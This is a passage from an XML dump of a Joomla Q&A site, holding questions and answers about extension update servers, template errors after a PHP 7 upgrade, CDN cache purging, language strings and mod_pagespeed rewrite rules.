Multishare&amp;lt;/section&amp;gt;&#xA;        &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;.*&quot;/&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is from extension file itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&quot;extension&quot; priority=&quot;2&quot; name=&quot;Nice Social Bookmark Updates&quot;&amp;gt;https://www.salamander-studios.com/updateserver/nsb-free.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13208" LastEditorUserId="168" LastEditDate="2019-01-09T09:18:41.937" LastActivityDate="2019-01-09T09:27:28.183" Title="Extension updateserver / update not working" Tags="|extension-update|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24020" PostTypeId="2" ParentId="644" CreationDate="2019-01-08T04:31:44.853" Score="0" Body="&lt;p&gt;Make sure that you wrap your code around &lt;code&gt;if (!$isNew) { ... }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first call to &lt;code&gt;public function onUserAfterSave($data, $isNew, $result, $error) {}&lt;/code&gt; will set &lt;code&gt;$isNew&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; but the second call that sets the group will set it to &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when it is set to &lt;code&gt;false&lt;/code&gt;, that means that the account is most likely settled.&lt;/p&gt;&#xA;" OwnerUserId="12210" LastActivityDate="2019-01-08T04:31:44.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24021" PostTypeId="1" AcceptedAnswerId="24032" CreationDate="2019-01-08T06:37:33.627" Score="1" ViewCount="1092" Body="&lt;p&gt;I have been facing a problem when I try to update the article from the frontend then it shows this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Joomla.submitbutton is not a function&#xA;      at HTMLButtonElement.onclick&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;btn-group&quot;&amp;gt;&#xA;            &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary&quot; onclick=&quot;Joomla.submitbutton('article.save')&quot;&amp;gt;&#xA;                &amp;lt;span class=&quot;icon-ok&quot;&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;?php echo JText::_('JSAVE') ?&amp;gt;&#xA;            &amp;lt;/button&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;p&gt;Update&lt;/p&gt;&lt;/strong&gt;&#xA;I am also facing this error&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Uncaught TypeError: Joomla.getOptions is not a function&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which if I go to the source code I find this script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$.ajaxSetup({&#xA;    headers: {&#xA;        'X-CSRF-Token': Joomla.getOptions('csrf.token')&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And that script is not visible in the actual file&lt;/p&gt;&#xA;" OwnerUserId="12647" LastEditorUserId="12647" LastEditDate="2019-01-08T08:24:56.430" LastActivityDate="2021-01-05T16:07:45.817" Title="Joomla.submitbutton is not a function at HTMLButtonElement.onclick" Tags="|joomla-3.x|php|articles|" AnswerCount="2" CommentCount="13" ContentLicense="CC BY-SA 4.0" />
  <row Id="24022" PostTypeId="2" ParentId="24005" CreationDate="2019-01-08T09:46:37.843" Score="2" Body="&lt;p&gt;There are two places where this could be set. The app params and the menu item params. Which ones would be used depends on how component is coded. See example how params are handled in article view &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/57ca7a411fbeb3ec0c46594b1d4859c91c0b6a38/components/com_content/views/article/view.html.php#L73-L129&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/57ca7a411fbeb3ec0c46594b1d4859c91c0b6a38/components/com_content/views/article/view.html.php#L73-L129&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To set a param in app:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;getParams()-&amp;gt;set('pageclass_sfx', $pageClass);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To set a param for current menu item:   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($menuItem = $this-&amp;gt;app-&amp;gt;getMenu()-&amp;gt;getActive())&#xA;{&#xA;    $menuItem-&amp;gt;params-&amp;gt;set('pageclass_sfx', $pageClass);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-01-09T08:42:40.407" LastActivityDate="2019-01-09T08:42:40.407" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24023" PostTypeId="1" CreationDate="2019-01-08T17:27:48.710" Score="5" ViewCount="671" Body="&lt;p&gt;I have a website running Joomla 3.9.1, which uses the Shape5 - Vertex template (one of Shape5's free templates, although the company is now owned by JoomlArt).   I am trying to upgrade to PHP 7.2, but every time I try to do so, the entire site breaks.  Specifically, we get the following screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qEX8y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qEX8y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;0 - Too few arguments to function s5_module_call(), 1 passed in /www/library/templates/s5_vertex/index.php on line 318 and exactly 2 expected&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The problem disappears when we switch to a new template, which makes me conclude the problem is related to the template.  Unfortunately there are no useful errors in neither the Apache logs nor Joomla's own internal logs.  Upgrading to the latest version of the theme did not help.  We also disabled a few plugins which were throwing errors and turned Joomla's error reporting up to &quot;Development&quot;, but were unable to fix the problem or even determine its cause.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some more facts which may help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Current PHP version (where the site works): 5.6.31 &lt;/li&gt;&#xA;&lt;li&gt;Database version:&#xA;5.5.5-10.2.9-MariaDB  &lt;/li&gt;&#xA;&lt;li&gt;Apache version: 2.4.6 &lt;/li&gt;&#xA;&lt;li&gt;Server OS: RHEL 7.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Short of getting a new theme I am not sure what the solution may be.  Does anyone have any further insights?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:  Here is the block of problem code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($s5_pos_top_row1_1 == &quot;published&quot;) { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;s5_pos_top_row1_1&quot; class=&quot;s5_float_left&quot; style=&quot;max-height:240px;width:&amp;lt;?php echo $s5_pos_top_row1_1_width ?&amp;gt;%&quot;&amp;gt;&#xA;        &amp;lt;?php s5_module_call('top_row1_1'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As a comparison, here is the block immediately below it.  There is definitely a second argument passed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($s5_pos_top_row1_2 == &quot;published&quot;) { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;s5_pos_top_row1_2&quot; class=&quot;s5_float_left&quot; style=&quot;width:&amp;lt;?php echo $s5_pos_top_row1_2_width ?&amp;gt;%&quot;&amp;gt;&#xA;        &amp;lt;?php s5_module_call('top_row1_2','round_box'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13220" LastEditorUserId="12352" LastEditDate="2019-01-08T22:58:29.123" LastActivityDate="2019-01-09T13:40:28.157" Title="PHP 7 Upgrade Breaks Joomla Theme" Tags="|joomla-3.x|templates|php7|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 4.0" />
  <row Id="24024" PostTypeId="1" AcceptedAnswerId="24042" CreationDate="2019-01-08T18:03:18.027" Score="2" ViewCount="233" Body="&lt;p&gt;I am looking for a solution and have no idea how to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All my static joomla HTML sites are cached by Cloudflare. After updating an article on joomla, I update the Cloudflare cache manual with a API request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am looking for a solution to send the API request automatic after I press the save button on joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'real' URL is already available in a custom field by the article.&lt;/p&gt;&#xA;" OwnerUserId="8968" LastEditorUserId="12352" LastEditDate="2019-01-08T23:19:19.887" LastActivityDate="2019-01-11T12:42:58.970" Title="How to automatically update CDN after saving an article?" Tags="|articles|joomla-3.9|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24025" PostTypeId="2" ParentId="24023" CreationDate="2019-01-08T20:13:38.723" Score="4" Body="&lt;p&gt;&lt;strong&gt;From the call stack&lt;/strong&gt; it is obvious that a function call fails in vertex cms_core_functions.php, which function tries to load the modules on your page in positions, but instead of 2 arguments, it gets only 1. It expects the modules' &lt;strong&gt;$name&lt;/strong&gt; and &lt;strong&gt;$style&lt;/strong&gt; and it gets only one of them. From PHP 7.1 this is handled as an error. Until PHP 7.1 it was only a warning and the site was running despite of this problem. That is why your site is down if you change the PHP version up above 7.1. This is just the theory behind the problem, not a solution yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After you updated your question&lt;/strong&gt; with the problematic code snippet we can see the problem clearly:           &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($s5_pos_top_row1_1 == &quot;published&quot;) { ?&amp;gt;&#xA;    &amp;lt;div id=&quot;s5_pos_top_row1_1&quot; class=&quot;s5_float_left&quot; style=&quot;max-height:240px;width:&amp;lt;?php echo $s5_pos_top_row1_1_width ?&amp;gt;%&quot;&amp;gt;&#xA;    &amp;lt;?php s5_module_call('top_row1_1'); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Yes, exactly, that is causing the problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;s5_module_call&lt;/code&gt; has only one argument and the function expects two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the modules cannot be loaded on the site. If it is not a production site, you can edit the &lt;code&gt;index.php&lt;/code&gt; file and where it is missing, you can define the second argument at every call of that particular function with giving 'round_box' everywhere as default where the second argument is missing, with completing the code like this where it is missing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php s5_module_call('top_row1_1', 'round_box'); ?&amp;gt;&lt;/code&gt; and so on for every module position... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if this is the only problem with the template then the site will run... I just do not understand why the developer has not handled this simple problem yet with an update...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative solution could be:&lt;/strong&gt; If you are not really a PHP programmer (as I understood that from your replies), then alternatively you could check your published modules with opening them one by one and make sure that in &lt;strong&gt;Extensions-&gt;module-&gt;Advanced tab&lt;/strong&gt; the &lt;strong&gt;Module Style&lt;/strong&gt; is defined at every of your modules for example 'inherited' or 'rounded' or 'outline' or with any other settings which gives a &lt;strong&gt;$style&lt;/strong&gt; to the modules published on your site. I can also imagine that it can handle the missing argument problem when your template function wants to load the modules running under &lt;strong&gt;PHP 7.1&lt;/strong&gt;. You can check this and set these values even in the production site admin area (without programming).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default module positions' styles could be set somewhere else too in the templates' basic settings (Since I am not using Vertex I do not know where exactly but you should find that somewhere if that option exists in that template). I hope this can also help you in solving this problem.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-09T13:40:28.157" LastActivityDate="2019-01-09T13:40:28.157" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24026" PostTypeId="1" CreationDate="2019-01-08T20:48:50.673" Score="0" ViewCount="123" Body="&lt;p&gt;I have on my pc a complete html site. It has an index page and 2 folders that have many pages. The index page has just links that link to pages in folder 1. Folder 1 has pages that have text, the text has links to pages in folder 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added them to a simple component and succeeded to review the index page on the site. However, the links do not open folder1's pages, I get an error page on the browser that says that the request page is not found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps of what I did: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added my files (index page and 2 folders) in a folder called &lt;code&gt;mybook&lt;/code&gt;. Moved it (mybook) to this folder in a component: &lt;strong&gt;component\views\default\tmpl\mybook&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited this file: &lt;strong&gt;component\views\default\tmpl\default.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Added this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// [code not posted by OP]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Created a menu with this component, click on the menu, now mybook is on my joomla site .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT: the links inside mybook index.html (that links to pages inside folders) open an error page. The error is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The requested URL was not found on this server. The link on the referring page seems to be wrong or outdated.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Is there any help to make those urls works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I am not using iframe warber because:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;opening any page inside the iframe does not reset the position to the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explain: When using Joomla iframe, if scroll the iframe down and click on a link to open a new page, the iframe does not go to the start top of the page, but stays in its place, this forces the user to manually scroll to the top to see the start of the page (I hate this and my book has long pages) ...and other reasons.&lt;/p&gt;&#xA;" OwnerUserId="13222" LastEditorUserId="12352" LastEditDate="2019-01-08T23:12:33.397" LastActivityDate="2019-02-10T03:25:59.413" Title="joomla 3 - how to add/insert html pages in my site without iframe?" Tags="|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24027" PostTypeId="1" AcceptedAnswerId="24558" CreationDate="2019-01-09T02:01:36.190" Score="2" ViewCount="69" Body="&lt;p&gt;I am quite new in Joomla. I have now understood the components, modules, templates thing and can also build modules and simple components. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the one thing that has always confused me in Joomla is the placement of methods in components. I studied a system and saw the save function being overridden sometimes in model and sometimes in controllers. The online solutions to queries also vary, some suggest to place methods in model whereas some say in controller. What I think is model should not be having such methods where some extra logic should be performed and it's the controllers job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or what pattern am I missing here in this regard, please enlighten me.&lt;/p&gt;&#xA;" OwnerUserId="13223" LastActivityDate="2019-05-02T21:14:44.567" Title="Why are methods randomly placed in models as well as controllers in Joomla" Tags="|component|model|controller|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24028" PostTypeId="2" ParentId="24024" CreationDate="2019-01-09T05:38:42.460" Score="3" Body="&lt;p&gt;As far as I can remember since I haven't tested this recently, you don't need to clear CloudFlare's cache in order to display update's of article's with CloudFlare. CloudFlare will only cache static assets like css, js. &#xA;In any case, there are ready made plugins that do the job. One I can recommend is the &lt;strong&gt;RegularLabs Cache Cleaner&lt;/strong&gt;:&#xA;&lt;a href=&quot;https://www.regularlabs.com/extensions/cachecleaner/features&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.regularlabs.com/extensions/cachecleaner/features&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Pro version of the plugin supports Purging CloudFlare Cache automatically while saving content in Joomla backend.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2019-01-09T05:38:42.460" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24030" PostTypeId="2" ParentId="24019" CreationDate="2019-01-09T09:27:28.183" Score="0" Body="&lt;p&gt;One thing that stands out after seeing your code is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;element&amp;gt;joomla&amp;lt;/element&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is incorrect. The &lt;code&gt;element&lt;/code&gt; tag should contain the untranslated extension name i.e. &lt;code&gt;mod_custom&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you're using &lt;code&gt;&amp;lt;tag&amp;gt;free&amp;lt;/tag&amp;gt;&lt;/code&gt; which is also incorrect. The accepted values for the &lt;code&gt;&amp;lt;tag&amp;gt;&lt;/code&gt; element are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dev&lt;/li&gt;&#xA;&lt;li&gt;alpha&lt;/li&gt;&#xA;&lt;li&gt;beta&lt;/li&gt;&#xA;&lt;li&gt;rc&lt;/li&gt;&#xA;&lt;li&gt;stable&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; If you provide more than one tag containing one of the aforementioned stability keywords only the LAST tag will be taken into account. If you do not provide any tags Joomla! will assume it is a stable version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2019-01-09T09:27:28.183" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24031" PostTypeId="2" ParentId="24003" CreationDate="2019-01-09T09:48:00.397" Score="3" Body="&lt;p&gt;I do not see this as a Joomla issue (except the &lt;strong&gt;.htaccess file&lt;/strong&gt; in Joomla root). From the small part of the log you provided in your question we can clearly read that the requests are made by &lt;strong&gt;mod_pagespeed&lt;/strong&gt; and &lt;strong&gt;Serf&lt;/strong&gt; as client. There is not really a question about it. The log identifies this user-agent info (&lt;strong&gt;Serf&lt;/strong&gt; used by pagespeed). You cannot just simply avoid this in your access-log. This is what is creating a big amount of http requests on your site and gets 404 status response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mod_pagespeed&lt;/strong&gt; tries to optimize (or fetch) the site. However since there are a lot of &lt;strong&gt;404&lt;/strong&gt; status response in your log, you should give attention to the following part of the &lt;strong&gt;Q&amp;amp;A section of pagespeed&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The most common reason&lt;/strong&gt; that the rewritten resources 404 is because of mod_rewrite RewriteCond rules. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^ /404 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This rule causes 404&lt;/strong&gt; for all requests which don't exist on the filesystem, including mod_pagespeed rewritten resources and the mod_pagespeed admin console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to fix this you must add an exception for mod_pagespeed URLs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !pagespeed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow rewritten resources, the admin console and static resources necessary for some filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus you can fix the issue in the &lt;strong&gt;.htaccess&lt;/strong&gt; file in Joomla root folder (for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course the reason you do not see this problem on your other sites is because on those there are no any problematic rewrite conditions modified by .htaccess which is influencing the behavior and responses on pagespeed/apache server (Or there is no conflicting caching turned on on the other sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to study the Q&amp;amp;A more on this:&#xA;&lt;a href=&quot;https://www.modpagespeed.com/doc/faq#mod_rewrite&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.modpagespeed.com/doc/faq#mod_rewrite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also, you might want to check the caching of Joomla&lt;/strong&gt; in Joomla admin &lt;strong&gt;System-&gt;Global configuration-&gt;System-&gt;system cache&lt;/strong&gt; and turn that &lt;strong&gt;OFF&lt;/strong&gt; since you do not need that and can cause conflict and 404 response to pagespeed/Serf theoretically, during fetching resources.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this can help you on the question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additionally,&lt;/strong&gt; I've never seen (in the last 13 years) that Joomla site is 'browsing itself' for a longer term (other than caching), nor from core, not from Joomla extentions, nor from any other malicious script. However that's one of what apache mod_pagespeed has to do primarily: to fetch resources using Serf (css, js, images) (If it would be otherwise you could see that specific source in the log too). So what you experience must derive from pagespeed (at least I cannot see other thing from your log). You should check that more deeply, turning pagespeed on and off and check the logs (or setting &lt;code&gt;ModPagespeed standby&lt;/code&gt;) and also maybe configuring filters and rewrites more:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://serverfault.com/questions/357918/apache2-access-log-thousands-of-logs-from-the-ip-of-the-same-server&quot;&gt;https://serverfault.com/questions/357918/apache2-access-log-thousands-of-logs-from-the-ip-of-the-same-server&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.the-art-of-web.com/system/mod-pagespeed-settings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.the-art-of-web.com/system/mod-pagespeed-settings/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.modpagespeed.com/doc/config_filters#RewriteRandomDropPercentage&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.modpagespeed.com/doc/config_filters#RewriteRandomDropPercentage&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-01-10T09:12:31.903" LastActivityDate="2019-01-10T09:12:31.903" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24032" PostTypeId="2" ParentId="24021" CreationDate="2019-01-09T10:19:59.657" Score="0" Body="&lt;p&gt;I have found the solution. I have removed the javascript like &lt;code&gt;onclick=&quot;Joomla.submitbutton('article.save')&quot;&lt;/code&gt; from the &lt;code&gt;form&lt;/code&gt; view of &lt;code&gt;com_content&lt;/code&gt; and added the necessary php code to make form submit to the right direction. Now the form is working fine&lt;/p&gt;&#xA;" OwnerUserId="12647" LastActivityDate="2019-01-09T10:19:59.657" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24033" PostTypeId="1" CreationDate="2019-01-09T11:37:00.967" Score="2" ViewCount="132" Body="&lt;p&gt;Having the latest Joomla 3.9.1, when I insert tags in articles, the url when I hover over the tags under the article from a category blog page is &lt;strong&gt;example.com/component/tags/tag/my-example-tag&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already created menu items to all of my tags and I visited directly the url for one of them, for instance &lt;strong&gt;example.com/my-example-tag&lt;/strong&gt;, and it works, but still the url on the tags inside the category blog page under the article is &lt;strong&gt;example.com/component/tags/tag/my-example-tag&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening and how to fix it? Do you think it is a bug? Or does it have to do with theming?&lt;/p&gt;&#xA;" OwnerUserId="13205" LastEditorUserId="12352" LastEditDate="2019-01-09T16:02:40.973" LastActivityDate="2019-01-09T16:02:40.973" Title="Joomla tag links in articles url problem" Tags="|articles|url|seo|tags|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24034" PostTypeId="1" AcceptedAnswerId="24035" CreationDate="2019-01-09T15:35:51.380" Score="1" ViewCount="27" Body="&lt;p&gt;I am using the FJRelated plugin. There is a menu item for fjrelated to display a page almost the same as Joomla's default Category List.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('grid.sort', 'COM_FJRELATED_'.$date.'_DATE', $dateOrder, $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which I change to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTENT_'.$date.'_DATE', $dateOrder, $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but in the front end I see the string &lt;strong&gt;COM_CONTENT_CREATED_DATE&lt;/strong&gt; instead of the actual translation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla's default_articles.php there is the same line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('grid.sort', 'COM_CONTENT_' . $date . '_DATE', 'a.created', $listDirn, $listOrder); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works perfectly fine in the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not remember anything else to be needed in order to use Joomla's language strings in any custom php page. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="12838" LastEditorUserId="12352" LastEditDate="2019-01-09T16:07:45.430" LastActivityDate="2019-01-09T16:55:31.580" Title="&quot;COM_CONTENT_created_DATE&quot; does not show translation" Tags="|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24035" PostTypeId="2" ParentId="24034" CreationDate="2019-01-09T16:55:31.580" Score="1" Body="&lt;p&gt;You need to load &lt;code&gt;com_content&lt;/code&gt; language file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getLanguage()-&amp;gt;load('com_content');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-01-09T16:55:31.580" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24036" PostTypeId="1" AcceptedAnswerId="24047" CreationDate="2019-01-10T07:22:59.340" Score="1" ViewCount="233" Body="&lt;p&gt;I'd like that my articles show up the modified date in Google searches.&#xA;Currently my Joomla 3 site, when modified date's output is enabled, shows the following tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;time datetime=&quot;2019-01-07T07:48:41+00:00&quot; itemprop=&quot;dateModified&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I can see that it doesn't work to hint Google about the modified date.&#xA;Is there a plugin/hack to let the date show in Google searches ?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3935" LastEditorUserId="3935" LastEditDate="2019-01-10T07:45:27.083" LastActivityDate="2019-01-19T10:04:00.393" Title="Joomla: how to show the modified date of your articles in google searches?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24038" PostTypeId="1" CreationDate="2019-01-10T10:11:04.820" Score="1" ViewCount="563" Body="&lt;p&gt;There is a website made in Joomla 2.5.x. It has System Cache enabled. The website contains a component called com_magic that handles URLS like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://websiteurl.com/bikes?view=best&#xA;https://websiteurl.com/bikes?view=latest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;System Cache timeout is set globally to 7 days. But the problem is with latest view. Each day a cron job fetched data from bike provider endpoint. It checks if there are new bikes. And if yes, it adds them to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately since system cache is set to 7 days, if a new bike occurs, the latest url does not display new bikes until the cache gets invalidated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cache for both page and component com_magic should be therefore cleared:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each day or&lt;/li&gt;&#xA;&lt;li&gt;When new bike becomes 